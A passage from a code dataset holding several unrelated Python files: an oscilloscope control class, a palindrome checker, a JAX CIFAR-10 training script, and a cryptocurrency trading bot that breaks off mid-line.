모으기(2).py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"18084853","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 26 18:39:33 2019\n\n@author: nicon\n\"\"\"\n\nimport pyvisa\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass Osciloscopio(object):\n\n def __init__(self, instrument = 0): #Ver cual es 1 y 0 con el generador\n self.rm = pyvisa.ResourceManager()\n if len(self.rm.list_resources()) > 0:\n self.inst = self.rm.open_resource(self.rm.list_resources()[instrument])\n else:\n self.inst = []\n print('No se detectó ningún instrumento')\n if self.inst != []:\n try:\n print('El IDN del instrumento es ', self.inst.query(\"*IDN?\"))\n except:\n print('El instrumento no respondió cuando se le preguntó el nombre.')\n \n def data_encdg_ascii(self):\n self.inst.write('DATA:ENCDG ASCII')\n \n def data_encdg_bin(self):\n self.inst.write('DATA:ENCDG RIBinary')\n\n def get_data_ascii(self):\n self.data_encdg_ascii()\n read = self.inst.query_ascii_values('CURVe?')\n \n plt.plot(read)\n plt.show()\n \n return read\n \n plt.plot(read)\n plt.show()\n \n return read\n\n def read_voltage(self):\n \n self.data_encdg_bin()\n read = np.array(self.inst.query_binary_values('CURVe?', datatype = 'b', is_big_endian= True))\n \n ymult = self.inst.query_ascii_values('WFMPRE:YMULT?') #Vertical scale factor\n yzero = self.inst.query_ascii_values('WFMPRE:YZERO?') #Offset Voltage\n yoff = self.inst.query_ascii_values('WFMPRE:YOFF?') #Vertical Offset\n\n voltage = yzero + ymult*(read - yoff)\n \n # plt.plot(voltage)\n #plt.show()\n \n return voltage\n \n \n def read_time(self): \n xincr = self.inst.query_ascii_values('WFMPRE:XINCR?') #Horizontal sampling interval\n xzero = self.inst.query_ascii_values('WFMPRE:XZERO?')\n pt_off = self.inst.query_ascii_values('WFMPRE:PT_Off?')\n \n n = np.linspace(0,2500,2500)\n #Ver https://www.i3detroit.org/wi/images/2/2d/460-ProgrammerManual.pdf pag 2-43\n time = xzero + xincr*(n - pt_off)\n \n return time\n \n def grafico(self):\n voltage = self.read_voltage()\n time = self.read_time()\n \n vpp = 2*max(voltage)\n \n plt.plot(time, voltage)\n plt.xlabel('Time (s)')\n plt.ylabel('Voltage (V)')\n plt.show()\n \n return vpp\n\n \n def set_timebase(self, seconds):\n self.inst.write('HOR:DEL:SCA {}'.format(seconds))\n","sub_path":"Practica_1_Osciloscopio_Generador/Osciloscopio.py","file_name":"Osciloscopio.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"487517780","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nEste é um arquivo de script temporário.\n\n\n\n\"\"\"\n\ndef toChar(s):\n s = s.lower()\n ans = ''\n for c in s:\n if (c in 'abcdefghijklmnopqrstuvwxyz'):\n ans = ans + c\n return ans\n\n\ndef isPalindrome(frase):\n f = toChar(frase)\n \n if(len(f)<=1):\n return True\n else:\n return f[0]==f[-1] and isPalindrome(f[1:-1])\n\nprint(isPalindrome('Are we not drawn onward to new era?'))","sub_path":"palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"429744485","text":"import argparse\n\nparser = argparse.ArgumentParser(description='Learn to classify a CIFAR-10')\nparser.add_argument('--step_size', dest='step_size', \n type=float, default=1e-2,\n help='Step size')\nparser.add_argument('--num_epochs', dest='num_epochs', \n type=int, default=100,\n help='Number of epochs')\nparser.add_argument('--batch_size', dest='batch_size', \n type=int, default=100,\n help='Mini-batch size')\nparser.add_argument('--tag', dest='tag', \n type=str, default=\"no_tag_{n_params}_params@\",\n help='Tag for logging with tensorboard')\nparser.add_argument('--layers', dest='layers_str', \n type=str, default=\"[Flatten, Dense(10),Softmax]\",\n help=\"Use ODE layer\")\nparser.add_argument('--log_dir', dest='log_dir', \n type=str, default=\"/tmp/checkpoints/\",\n help=\"Directory where to store tensorboard logs.\")\nparser.add_argument('--log_eps', dest='log_eps', \n type=float, default=1e-2,\n help='A constant to add the inputs of np.log to avoid log(0).')\nparser.add_argument('--l2_reg', dest='l2_reg', \n type=float, default=0.,\n help='Multiplies the l2 norm of the parameter vectors and added to the objective function.')\n\n\nargs = parser.parse_args()\nprint(args)\n\n\n# params\nstep_size = args.step_size\nnum_epochs = args.num_epochs\nbatch_size = args.batch_size\ntag = args.tag\nlayers_str = args.layers_str\nlog_dir = args.log_dir\nlog_eps = args.log_eps\nl2_reg = args.l2_reg\n\n# Imports\nimport datetime\nimport itertools\nimport jax\nimport jax.numpy as np\nimport keras\nimport matplotlib.pyplot as plt\nimport numpy as onp\nimport numpy.random as npr\nimport os\nimport pickle\nimport tarfile\nimport tensorboard_logging\nimport time\nimport zipfile \n\nfrom ode_stax import *\n\nfrom data_streamer import DataStreamer\nfrom jax import device_put\nfrom jax import grad\nfrom jax import jit\nfrom jax.config import config\nfrom jax.experimental import optimizers\nfrom jax.experimental import stax\nfrom jax.experimental.stax import BatchNorm\nfrom jax.experimental.stax import Conv\nfrom jax.experimental.stax import Dense\nfrom jax.experimental.stax import Dropout\nfrom jax.experimental.stax import Flatten\nfrom jax.experimental.stax import MaxPool\nfrom jax.experimental.stax import Relu\nfrom jax.experimental.stax import Softmax\nfrom jax.tree_util import tree_flatten\nfrom keras.datasets import cifar10\nfrom plot_help import *\n\n\n\n\n# init randomness\nkey = jax.random.PRNGKey(0)\nnpr.seed(0)\n\n\n# Download datasets\n# The data, split between train and test sets:\n(x_train, y_train), (x_test, y_test) = cifar10.load_data()\nx_train = (x_train / 250.).astype(np.float64)#.reshape(-1, 28, 28, 1)\nx_test = (x_test / 250.).astype(np.float64)#.reshape(-1, 28, 28, 1)\nnum_classes = 10\nprint('x_train shape:', x_train.shape)\nprint('y_train shape:', y_train.shape)\n\nprint(x_train.shape[0], 'train samples')\nprint(x_test.shape[0], 'test samples')\n\n\n\n# Build NN\n@jit\ndef vec(params):\n \"\"\"Stack parameters in a big vector.\"\"\"\n \n leaves, _ = tree_flatten(params)\n return np.hstack([x.flatten() for x in leaves])\n\n\ndef cross_entropy(a, b):\n return - np.sum(a * np.log(b+log_eps))\n\n\n@jit\ndef loss(params, batch):\n inputs, targets = batch\n preds = predict(params, inputs, rng=key)\n return cross_entropy(targets, preds) + l2_reg * np.linalg.norm(vec(params))\n\n\n@jit\ndef accuracy(params, batch):\n inputs, targets = batch\n target_class = np.argmax(targets, axis=1)\n predicted_class = np.argmax(predict(params, inputs, rng=key), axis=1)\n return np.mean(predicted_class == target_class)\n\n\nprint(\"Evaluating layers from string:\", layers_str)\nlayers = eval(layers_str)\ninit_random_params, predict = stax.serial(*layers)\n\n\n\n \n################\n# Optimizer\n################\n\n# start adam optimizer and initialize parameters\nopt_init, opt_update = optimizers.adam(step_size)\nout_shape, init_params = init_random_params((-1,) + x_train.shape[1:])\nopt_state = opt_init(init_params)\nn_params = len(vec(init_params))\n\n# helper function to perform a one step update of the parameters\n@jit\ndef update(i, opt_state, batch):\n params = optimizers.get_params(opt_state)\n return opt_update(i, grad(loss)(params, batch), opt_state)\n\n\nprint(\"Gettting batches\")\ndata_streamer = DataStreamer(x_train, y_train, batch_size=batch_size, num_classes=num_classes)\ndata_streamer_test = DataStreamer(x_test, y_test, batch_size=batch_size, num_classes=num_classes)\n\nitercount = itertools.count()\nprint(\"Starting logger\")\nlogger = tensorboard_logging.create_logger(tag=tag.format(n_params=n_params), log_dir=log_dir)\nprint(\"Number of params %.4fk\" % (n_params/1e3))\n\n# Start iterating\nprint(\"|\".join(map(lambda s: s.center(10, ' '), \"Epoch,Loss,Accuracy,dt\".split(\",\"))))\nfor epoch in range(num_epochs):\n start_time = time.time()\n\n # loss and accuracy for each minibatch\n cum_loss = []\n cum_acc = []\n\n # runs through all the data\n for _ in range(data_streamer.num_batches):\n batch = next(data_streamer.stream_iter)\n i = next(itercount)\n opt_state = update(i, opt_state, batch)\n params = optimizers.get_params(opt_state)\n \n # logger\n loss_i = loss(params, batch)\n # evaluate accuracy on test batch\n batch_test = next(data_streamer.stream_iter)\n acc_i = accuracy(params, batch_test)\n cum_loss.append(loss_i)\n cum_acc.append(acc_i)\n logger.log_scalar('accuracy', acc_i, step=i+1)\n logger.log_scalar('loss', loss_i, step=i+1)\n\n epoch_time = time.time() - start_time\n print(\"{:10}|{:10.5f}|{:10.5f}|{:10.5f}\".format(epoch, onp.mean(cum_loss),\n onp.mean(cum_acc),\n epoch_time)) \n","sub_path":"learn_cifar.py","file_name":"learn_cifar.py","file_ext":"py","file_size_in_byte":5604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"407831660","text":"from concurrent.futures import ThreadPoolExecutor\nimport time,datetime\nimport collections\nimport sys, os, traceback\nimport logging\nfrom abc import ABC, abstractmethod\n\nsys.path.append('../codebase')\nfrom helpText import errorTexts, statusTexts\nfrom util import createLogger\nfrom utilTrade import getKline\nfrom utilException import catchExceptionDecorator, catchMethodExceptionDecorator\n\nglobalTrendTrading = False\n\nclass SlarkBase(ABC):\n\tdef __init__(self, exch, logLevel, symbol, cfg, name):\n\t\tself.logger = createLogger('{}{}'.format(name, symbol[0:3]), logLevel)\n\t\tself.symbol = symbol\n\t\tself.name = name\n\t\tself.createExch(exch)\n\t\tself.initializeCfg(cfg) # call the derived methods\n\t\tself.initialize()\n\t\tself.logger.info('{} instance initialized successfully.'.format(self.name))\n\n\t@abstractmethod\n\tdef createExch(self, exch):\n\t\tpass\n\t@abstractmethod\n\tdef initializeCfg(self, cfg):\n\t\tpass\n\t@abstractmethod\n\tdef initialize(self):\n\t\tpass\n\nclass SlarkBalancePosition(SlarkBase):\n\tdef __init__(self, exch, logger, symbol, cfg, name):\n\t\tsuper(SlarkBalancePosition, self).__init__(exch, logger, symbol, cfg, name)\n\n\tdef createExch(self, exch):\n\t\tself.traderBalance\t= exch.cnExchTrade()\n\t\tself.account \t\t\t= exch.cnExchAccount()\n\t\tself.marketData \t\t= exch.cnExchMarketData()\n\t\tself.logger.info('SlarkBalancePosition traderBalance, account and marketData, have been initialized successfully.')\n\n\tdef initializeCfg(self, cfg):\n\t\tself.cfgLogOnly = ('yes' == cfg.get(self.symbol, 'logonly'))\n\t\tself.logger.info('SlarkBalancePosition cfg: logOnlyMode={}'.format('ON' if self.cfgLogOnly else 'OFF'))\n\n\tdef initialize(self):\n\t\tself.__updateOrderbook()\n\t\tself.__updateUserInfo()\n\n\tdef __updateOrderbook(self):\n\t\torderBook = self.marketData.depth(symbol = self.symbol, size = 15)\n\t\tself.bids = orderBook['bids']\n\t\tself.asks = orderBook['asks']\n\t\tself.logger.info('SlarkBalancePosition Update order book\\n\\\n\t\t\t\t\t\t\tnew bid prices: {}\\n\\\n\t\t\t\t\t\t\tnew ask prices: {}'.format(self.bids, self.asks))\n\n\tdef __updateUserInfo(self):\n\t\tuserinfo = self.account.userinfo()['info']['funds']\n\t\tfree = userinfo['free']\n\t\tself.coin = free[self.symbol[0:3]] # only for coins, not for contracts\n\t\tself.cny = free['cny']\n\t\tlatestPrice = (self.bids[0][0] + self.asks[0][0]) / 2 * 0.7 + \\\n\t\t\t\t\t (self.bids[1][0] + self.asks[1][0]) / 2 * 0.2 + \\\n\t\t\t\t\t (self.bids[2][0] + self.asks[2][0]) / 2 * 0.1\n\t\tself.balanceRatio = self.coin * latestPrice / (self.coin * latestPrice + self.cny)\n\t\tself.logger.info('SlarkBalancePosition Update user info: {} {}, CNY {}, latest balanceRatio: {}'.format(\n\t\t\tself.symbol[0:3].upper(), self.coin, self.cny, self.balanceRatio))\n\n\tdef trade(self):\n\t\t@catchMethodExceptionDecorator\n\t\tdef tradeHelper(self):\n\t\t\tglobal globalTrendTrading\n\t\t\tif globalTrendTrading:\n\t\t\t\ttime.sleep(30) # decrease the balance frequency\n\t\t\t\tself.logger.info('SlarkBalancePosition In trend trade state. Sleep 30s.')\n\t\t\t\treturn\n\n\t\t\tpreBalanceTime = time.time()\n\t\t\ttradeOrderIDs = ''\n\t\t\tif self.balanceRatio < 0.47:\n\t\t\t\ttime.sleep(10)\n\t\t\t\tif self.cfgLogOnly:\n\t\t\t\t\tself.logger.info('SlarkBalancePosition balanceRatio {}'.format(self.balanceRatio))\n\t\t\t\t\ttime.sleep(60)\n\t\t\t\t\treturn\n\t\t\t\torders = self.traderBalance.batch_trade(symbol = self.symbol, type = 'buy', orders_data = \n\t\t\t\t\t[{'price': self.bids[0][0] + 0.00, 'amount': (100 / (self.bids[0][0] + 0.00)), 'type':'buy'},\n\t\t\t\t\t {'price': self.bids[0][0] + 0.01, 'amount': (100 / (self.bids[0][0] + 0.01)), 'type':'buy'},\n\t\t\t\t\t {'price': self.bids[0][0] + 0.02, 'amount': (100 / (self.bids[0][0] + 0.02)), 'type':'buy'}])\n\t\t\t\torders = orders['order_info']\n\t\t\t\tfor i,order in enumerate(orders):\n\t\t\t\t\tif order['order_id'] == '-1':\n\t\t\t\t\t\tself.logger.error(\"SlarkBalancePosition error {} in batch_trade, {}th buy order,\\n\\\n\t\t\t\t\t\t\t\t\t\t\t Reason: {}\".format(order['error_code'], i, errorTexts[order['error_code']]))\n\t\t\t\t\telse:\n\t\t\t\t\t\ttradeOrderIDs.append(order['order_id'] + ',')\n\t\t\t\tself.logger.info('SlarkBalancePosition buy traded IDs: {}'.format(orders))\n\t\t\telif self.balanceRatio > 0.53:\n\t\t\t\tif self.cfgLogOnly:\n\t\t\t\t\tself.logger.info('SlarkBalancePosition balanceRatio {}'.format(self.balanceRatio))\n\t\t\t\t\ttime.sleep(60)\n\t\t\t\t\treturn\n\t\t\t\torders = self.traderBalance.batch_trade(symbol = self.symbol, type = 'sell', orders_data = \n\t\t\t\t\t[{'price': self.asks[0][0] - 0.00, 'amount': (100 / (self.asks[0][0] - 0.00)), 'type':'sell'},\n\t\t\t\t\t {'price': self.asks[0][0] - 0.01, 'amount': (100 / (self.asks[0][0] - 0.01)), 'type':'sell'},\n\t\t\t\t\t {'price': self.asks[0][0] - 0.02, 'amount': (100 / (self.asks[0][0] - 0.02)), 'type':'sell'}])\n\t\t\t\torders = orders['order_info']\n\t\t\t\tfor i,order in enumerate(orders):\n\t\t\t\t\tif order['order_id'] == '-1':\n\t\t\t\t\t\tself.logger.error(\"SlarkBalancePosition error_code {} in batch_trade, {}th sell order,\\n\\\n\t\t\t\t\t\t\t\t\t\t\t Reason: {}\".format(order['error_code'], i, errorTexts[order['error_code']]))\n\t\t\t\t\telse:\n\t\t\t\t\t\ttradeOrderIDs.append(order['order_id'] + ',')\n\t\t\t\tself.logger.info('SlarkBalancePosition sell traded IDs: {}'.format(orders))\n\t\t\tself.__updateUserInfo()\n\t\t\tself.__updateOrderbook()\n\n\t\t\tif tradeOrderIDs:\n\t\t\t\ttime.sleep(0.4)\n\t\t\t\tcancelResult = self.traderBalance.cancel_order(symbol = self.symbol, order_id = tradeOrderIDs[:-1]) # [:-1] is to delete ','\n\t\t\t\tif 'error' in cancelResult:\n\t\t\t\t\tself.logger.error('SlarkBalancePosition order {} cancel fail in balance trade.'.format(cancelResult['error']))\n\t\t\twhile time.time() - preBalanceTime < 1:\n\t\t\t\ttime.sleep(0.005)\n\t\twhile True:\n\t\t\ttradeHelper(self)\n\n\nclass SlarkCancelLegacy(SlarkBase):\n\tdef __init__(self, exch, logger, symbol, cfg, name):\n\t\tsuper(SlarkCancelLegacy, self).__init__(exch, logger, symbol, cfg, name)\n\tdef createExch(self, exch):\n\t\tself.account \t\t\t\t= exch.cnExchAccount()\n\t\tself.traderBalance\t= exch.cnExchTrade()\n\t\tself.logger.info('SlarkBalancePosition traderBalance and account have been initialized successfully.')\n\tdef initializeCfg(self, cfg):\n\t\tself.cfgLogOnly\t\t\t= ('yes' == cfg.get(self.symbol, 'logonly'))\n\t\tself.logger.info('{} cfg: logOnlyMode={}'.format(self.name, 'ON' if self.cfgLogOnly else 'OFF'))\n\tdef initialize(self):\n\t\tpass\n\n\tdef trade(self):\n\t\t@catchMethodExceptionDecorator\n\t\tdef tradeHelper(self):\n\t\t\ttime.sleep(60)\n\t\t\torder_info = self.account.order_info(symbol = self.symbol, order_id = -1)\n\t\t\t# trivialException\n\t\t\t#self.logger.info('SlarkCancelLegacy order_info {}'.format(order_info))\n\t\t\topenOrders = order_info['orders']\n\t\t\tif not openOrders:\n\t\t\t\tself.logger.info('SlarkCancelLegacy no open orders')\n\t\t\telse:\n\t\t\t\tself.logger.info('SlarkCancelLegacy openOrders {}'.format(openOrders))\n\t\t\t\tif self.cfgLogOnly:\n\t\t\t\t\tself.logger.info('SlarkCancelLegacy is in logOnlyMode. Do not cancel any legacy orders.')\n\t\t\t\t\treturn\n\t\t\t\tcount = 0\n\t\t\t\tfor openOrder in openOrders:\n\t\t\t\t\tif openOrder['create_date'] / 1000 - time.time() < -10:\n\t\t\t\t\t\tresult = self.traderBalance.cancel_order(symbol = self.symbol, order_id = openOrder['order_id'])\n\t\t\t\t\t\tself.logger.info('SlarkCancelLegacy cancel order {} result:{}'.format(openOrder['order_id'], str(result)))\n\t\t\t\t\t\tcount += 1\n\t\t\t\t\t\tif 20 == count:\n\t\t\t\t\t\t\ttime.sleep(0.9) # frequency limit, 20 cancel / 2 s\n\t\t\t\t\t\t\tcount = 0\n\t\twhile True:\n\t\t\ttradeHelper(self)\n\nclass SlarkTrend(SlarkBase):\n\tdef __init__(self, exch, logger, symbol, cfg, name):\n\t\tsuper(SlarkTrend, self).__init__(exch, logger, symbol, cfg, name)\n\tdef initialize(self):\n\t\tself.lastTradedId = 9070000 # historical traded id\n\t\tself.vol = 0\n\t\tself.__updateTrades()\n\t\tprice = self.trades[-1]['price']\n\t\tself.prices = collections.deque(self.cfgPriceLen * [price], maxlen = self.cfgPriceLen)\n\t\tself.__updateOrderbook()\n\t\tself.__updateUserInfo()\n\t\tself.numTick = 0\n\t\tself.bull = False\n\t\tself.bear = False\n\t\tself.tradeAmount = 0\n\t\tself.currentPrice = 0\n\t\tself.burstPrice = 0\n\t\tself.state = 'NULL'\n\n\tdef createExch(self, exch):\n\t\tself.traderTrend\t\t= exch.cnExchTrade()\n\t\tself.account \t\t\t\t= exch.cnExchAccount()\n\t\tself.marketData \t\t= exch.cnExchMarketData()\n\t\tself.logger.info('SlarkTrend exchanges traderTrend, account and marketData, have been initialized successfully.')\n\n\tdef initializeCfg(self, cfg):\n\t\tself.cfgInterval\t= float(cfg.get(self.symbol, 'interval'))\n\t\tself.cfgPct\t\t \t\t= float(cfg.get(self.symbol, 'pct'))\n\t\tself.cfgVol \t \t\t= float(cfg.get(self.symbol, 'vol'))\n\t\tself.cfgPriceLen\t= int(cfg.get(self.symbol, 'pricelen'))\n\t\tself.cfgLogOnly\t\t\t= ('yes' == cfg.get(self.symbol, 'logonly'))\n\t\tself.lowerAmountLimit = float(cfg.get(self.symbol, 'lowerAmountLimit'))\n\t\tself.logger.info('SlarkTrend Config initialize:\\n\\\n\t\t\t\t\t\t trend trade time interval: {}s\\n\\\n\t\t\t\t\t\t burst price spread percentage: {}\\n\\\n\t\t\t\t\t\t burst volume: {} {}\\n\\\n\t\t\t\t\t\t logOnly: {}\\n\\\n\t\t\t\t\t\t lowerAmountLimit: {}'.format(\n\t\t\t\t\t\t self.cfgInterval, self.cfgPct, self.cfgVol, self.symbol[0:3].upper(), \n\t\t\t\t\t\t 'ON' if self.cfgLogOnly else 'OFF', self.lowerAmountLimit))\n\t\tself.logger.info('SlarkTrend config initialized successfully.')\n\n\tdef __updateTrades(self):\n\t\t\"\"\"\n\t\tget initial price from self.trades to initialize self.__prices, self.vol to compare market volume and config volume\n\t\t@attr trades: trades[-1] is the latest trade\n\t\t@type list of dicts: {amount:0.03, date:1498879798, date_ms:1498879798000, price:17778.50, tid:7575280178, type:buy}\n\n\t\t@attr vol: update in every call\n\t\t@type vol: long\n\n\t\t@attr lastTradedId: udpate in every call\n\t\t@type lastTradedId: long\n\t\t\"\"\"\n\t\tself.trades = self.marketData.trades(self.symbol, self.lastTradedId) # 想清楚返回多少trades 需要多少用来计算vol\n\t\tif self.trades:\n\t\t\tself.vol = 0.7 * self.vol + 0.3 * sum([it['amount'] for it in self.trades])\n\t\t\tself.lastTradedId = self.trades[-1]['tid']\n\t\t#self.logger.info('SlarkTrend Update trades\\n\\\n\t\t#\t\t\t\t\tnew vol: {}, last trades ID: {}'.format(self.vol, self.lastTradedId))\n \n\tdef __updateOrderbook(self):\n\t\t\"\"\"\n\t\tPrices is the time value sequence. Control the frequency! Or most slots are repeat!\n\t\t\"\"\"\n\t\torderBook = self.marketData.depth(symbol = self.symbol, size = 15)\n\t\tself.bids = orderBook['bids']\n\t\tself.asks = orderBook['asks']\n\t\tself.bidPrice = self.bids[0][0] * 0.618 + self.asks[0][0] * 0.382 + 0.01\n\t\tself.askPrice = self.bids[0][0] * 0.382 + self.asks[0][0] * 0.618 - 0.01\n\t\tself.prices.append(\n\t\t\t(self.bids[0][0] + self.asks[0][0]) / 2 * 0.7 +\n\t\t\t(self.bids[1][0] + self.asks[1][0]) / 2 * 0.2 +\n\t\t\t(self.bids[2][0] + self.asks[2][0]) / 2 * 0.1)\n\t\t#self.logger.info('SlarkTrend Update order book\\n\\\n\t\t#\t\t\t\t new bid price: {}, new ask price: {}\\n\\\n\t\t#\t\t\t\t prices: {}'.format(self.bidPrice, self.askPrice, self.prices))\n\n\tdef __updateUserInfo(self):\n\t\tself.userinfo = self.account.userinfo()['info']['funds']\n\t\tfree = self.userinfo['free']\n\t\tself.coin = free[self.symbol[0:3]] # only for coins, not for contracts\n\t\tself.cny = free['cny']\n\t\tself.balanceRatio = self.coin * self.prices[-1] / (self.coin * self.prices[-1] + self.cny)\n\t\t#self.logger.info('SlarkTrend Update user info: {} {}, CNY {}, latest balanceRatio: {}'.format(\n\t\t#\tself.symbol[0:3].upper(), self.coin, self.cny, self.balanceRatio))\n\n\tdef generateSignal(self):\n\t\t@catchMethodExceptionDecorator\n\t\tdef generateSignalHelper(self, timestamp0, timestamp1, minutes):\n\t\t\t#while time.time() - timestamp0 < self.cfgInterval:\n\t\t\twhile time.time() - timestamp0 < 1:\n\t\t\t\ttime.sleep(0.1)\n\t\t\ttimestamp1 = timestamp0\n\t\t\ttimestamp0 = time.time()\n\n\t\t\tself.__updateTrades()\n\t\t\tself.__updateOrderbook()\n\t\t\t#self.logger.info('SlarkTrend {} - {}, price: {}, net: {}, total: {}, balanceRatio: {} = {} {} / {}CNY, vol: {}'.format(\n\t\t\t#\t\t\tdatetime.datetime.fromtimestamp(timestamp1).strftime('%Y%m%d %H:%M:%S'),\n\t\t\t#\t\t\tdatetime.datetime.fromtimestamp(timestamp0).strftime('%Y%m%d %H:%M:%S'),\n\t\t\t#\t\t\tself.prices[-1],\n\t\t\t#\t\t\tself.userinfo['asset']['net'],\n\t\t\t#\t\t\tself.userinfo['asset']['total'],\n\t\t\t#\t\t\tself.balanceRatio,\n\t\t\t#\t\t\tself.coin,\n\t\t\t#\t\t\tself.symbol[0:3].upper(),\n\t\t\t#\t\t\tself.cny,\n\t\t\t#\t\t\tself.vol\n\t\t\t#\t\t\t))\n\t\t\tself.currentPrice = self.prices[-1]\n\t\t\t#self.burstPrice = self.currentPrice * self.cfgPct\n\t\t\tself.burstPrice = 0\n\t\t\tself.bull = False\n\t\t\tself.bear = False\n\t\t\tself.state = 'NULL'\n\t\t\tself.tradeAmount = 0\n\n\t\t\tidx = -1\n\t\t\twhile idx + self.cfgPriceLen > 0 and self.currentPrice == self.prices[idx]:\n\t\t\t\tidx -= 1\n\t\t\t# self.prices is dummy repeated\n\t\t\tif idx + self.cfgPriceLen == 0:\n\t\t\t\tself.logger.critical('SIGNAL __prices is dummy repeated')\n\t\t\t\treturn\n\t\t\t#self.logger.info('SIGNAL __prices {}'.format(list(self.prices)[0:idx]))\n\t\t\tif self.numTick > 2 and (self.currentPrice - max(list(self.prices)[0:idx]) > self.burstPrice or \n\t\t\t\t\t\t\t\t(idx > 1 and self.currentPrice - max(list(self.prices)[0:idx-1]) > self.burstPrice and \n\t\t\t\t\t\t\t\t self.currentPrice > self.prices[idx - 1])):\n\t\t\t\ttmpKline = self.marketData.kline(self.symbol, size= 2)\n\t\t\t\tif tmpKline[0][4] < tmpKline[1][4]:\n\t\t\t\t\tself.bull = True\n\t\t\t\t\tself.state = 'BULL'\n\t\t\t\t\tself.tradeAmount = self.cny / self.bidPrice * 0.99\n\t\t\t\t\tif minutes != datetime.datetime.now().minute:\n\t\t\t\t\t\tminutes = datetime.datetime.now().minute\n\t\t\t\t\t\tself.logger.info('numTick {}, currentPrice {}, prices {}, preK {}, nowK {}'.format(\n\t\t\t\t\t\t\tself.numTick, self.currentPrice, list(self.prices), tmpKline[0][4], tmpKline[1][4]))\n\t\t\t\t\t\tself.logger.info('SIGNAL BULL {}{} {}. State is {} now.'.format(\n\t\t\t\t\t\t\tself.tradeAmount, self.symbol[0:3].upper(), list(self.prices)[0:idx], self.state))\n\n\t\t\tif self.numTick > 2 and (self.currentPrice - min(list(self.prices)[0:idx]) < -self.burstPrice or \n\t\t\t\t\t\t\t\t(self.currentPrice - min(list(self.prices)[0:idx]) < -self.burstPrice and \n\t\t\t\t\t\t\t\t self.currentPrice < self.prices[idx - 1])):\n\t\t\t\ttmpKline = self.marketData.kline(self.symbol, size= 2)\n\t\t\t\tif tmpKline[0][4] > tmpKline[1][4]:\n\t\t\t\t\tself.bear = True\n\t\t\t\t\tself.state = 'BEAR'\n\t\t\t\t\tself.tradeAmount = self.coin\n\t\t\t\t\tif minutes != datetime.datetime.now().minute:\n\t\t\t\t\t\tminutes = datetime.datetime.now().minute\n\t\t\t\t\t\tself.logger.info('numTick {}, currentPrice {}, prices {}, nowK {}, preK {}'.format(\n\t\t\t\t\t\t\tself.numTick, self.currentPrice, list(self.prices), tmpKline[0][4], tmpKline[1][4]))\n\t\t\t\t\t\tself.logger.info('SIGNAL BEAR {}{} {}. State is {} now.'.format(\n\t\t\t\t\t\t\tself.tradeAmount, self.symbol[0:3].upper(), list(self.prices)[0:idx], self.state))\n\t\t\tself.numTick += 1\n\t\t### End of generateSignalHelper() ###\n\t\tglobalTrendTrading = False\n\t\ttimestamp1 = time.time()\n\t\ttimestamp0 = time.time()\n\t\tself.numTick = 0\n\t\tminutes = 0\n\t\twhile True:\n\t\t\tgenerateSignalHelper(self, timestamp0, timestamp1, minutes)\n\t\t\n\n\tdef trade(self):\n\t\t@catchMethodExceptionDecorator\n\t\tdef tradeHelper(self, minutes):\n\t\t\tif self.vol < self.cfgVol:\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tself.tradeAmount *= self.vol / self.cfgVol\n\t\t\tif self.numTick < 5: \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tself.tradeAmount *= 0.8\n\t\t\tif self.numTick < 10: \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tself.tradeAmount *= 0.8\n\t\t\tif self.bull and self.currentPrice < max(self.prices): \t\t\t\t\t\t\t\t\tself.tradeAmount *= 0.9\n\t\t\tif self.bear and self.currentPrice > min(self.prices): \t\t\t\t\t\t\t\t\tself.tradeAmount *= 0.9\n\t\t\t#if abs(self.currentPrice - list(self.prices)[idx - 1]) > self.burstPrice * 2: self.tradeAmount *= 0.9\n\t\t\t#if abs(self.currentPrice - list(self.prices)[idx - 1]) > self.burstPrice * 3: self.tradeAmount *= 0.9\n\t\t\t#if abs(self.currentPrice - list(self.prices)[idx - 1]) > self.burstPrice * 4: self.tradeAmount *= 0.9\n\t\t\tif abs(self.asks[0][0] - self.bids[0][0]) > self.burstPrice * 2:\t\t\t\tself.tradeAmount *= 0.9\n\t\t\tif abs(self.asks[0][0] - self.bids[0][0]) > self.burstPrice * 3:\t\t\t\tself.tradeAmount *= 0.9\n\t\t\tif abs(self.asks[0][0] - self.bids[0][0]) > self.burstPrice * 4:\t\t\t\tself.tradeAmount *= 0.9\n\t\t\t#self.logger.info('TRADE self.tradeAmount updated to {}'.format(self.tradeAmount))\n\t\t\tif self.tradeAmount >= self.lowerAmountLimit:\n\t\t\t\t#tradePrice = self.bidPrice if self.bull else self.askPrice\n\t\t\t\ttradePrice = (self.prices[-1] - 1) if self.bull else (self.prices[-1] + 1)\n\t\t\t\t#self.logger.info('TRADE sets tradePrice {} since prices[-5:] are {}'.format(tradePrice, list(self.prices)[-5:]))\n\t\t\t\t#self.logger.info('TRADE tradePrice updated to {}'.format(tradePrice))\n\t\t\t\tglobalTrendTrading = True\n\t\t\t\twhile self.tradeAmount >= self.lowerAmountLimit:\n\t\t\t\t\tif self.bull:\n\t\t\t\t\t\tif self.state == 'BEAR':\n\t\t\t\t\t\t\tself.logger.info('TRADE state flip BULL -> BEAR, trade thread will stop BUY and start to SELL.')\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif self.cfgLogOnly:\n\t\t\t\t\t\t\t\tif minutes != datetime.datetime.now().minute:\n\t\t\t\t\t\t\t\t\tminutes = datetime.datetime.now().minute\n\t\t\t\t\t\t\t\t\tself.logger.info('TRADE BUY {} {} at {}. Since in logOnlyMode, buy nothing.'.format(\n\t\t\t\t\t\t\t\t\t\tself.tradeAmount, self.symbol[0:3].upper(), tradePrice))\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\ttradeInfo = self.traderTrend.trade(symbol = self.symbol, type = 'buy', price = tradePrice, amount = 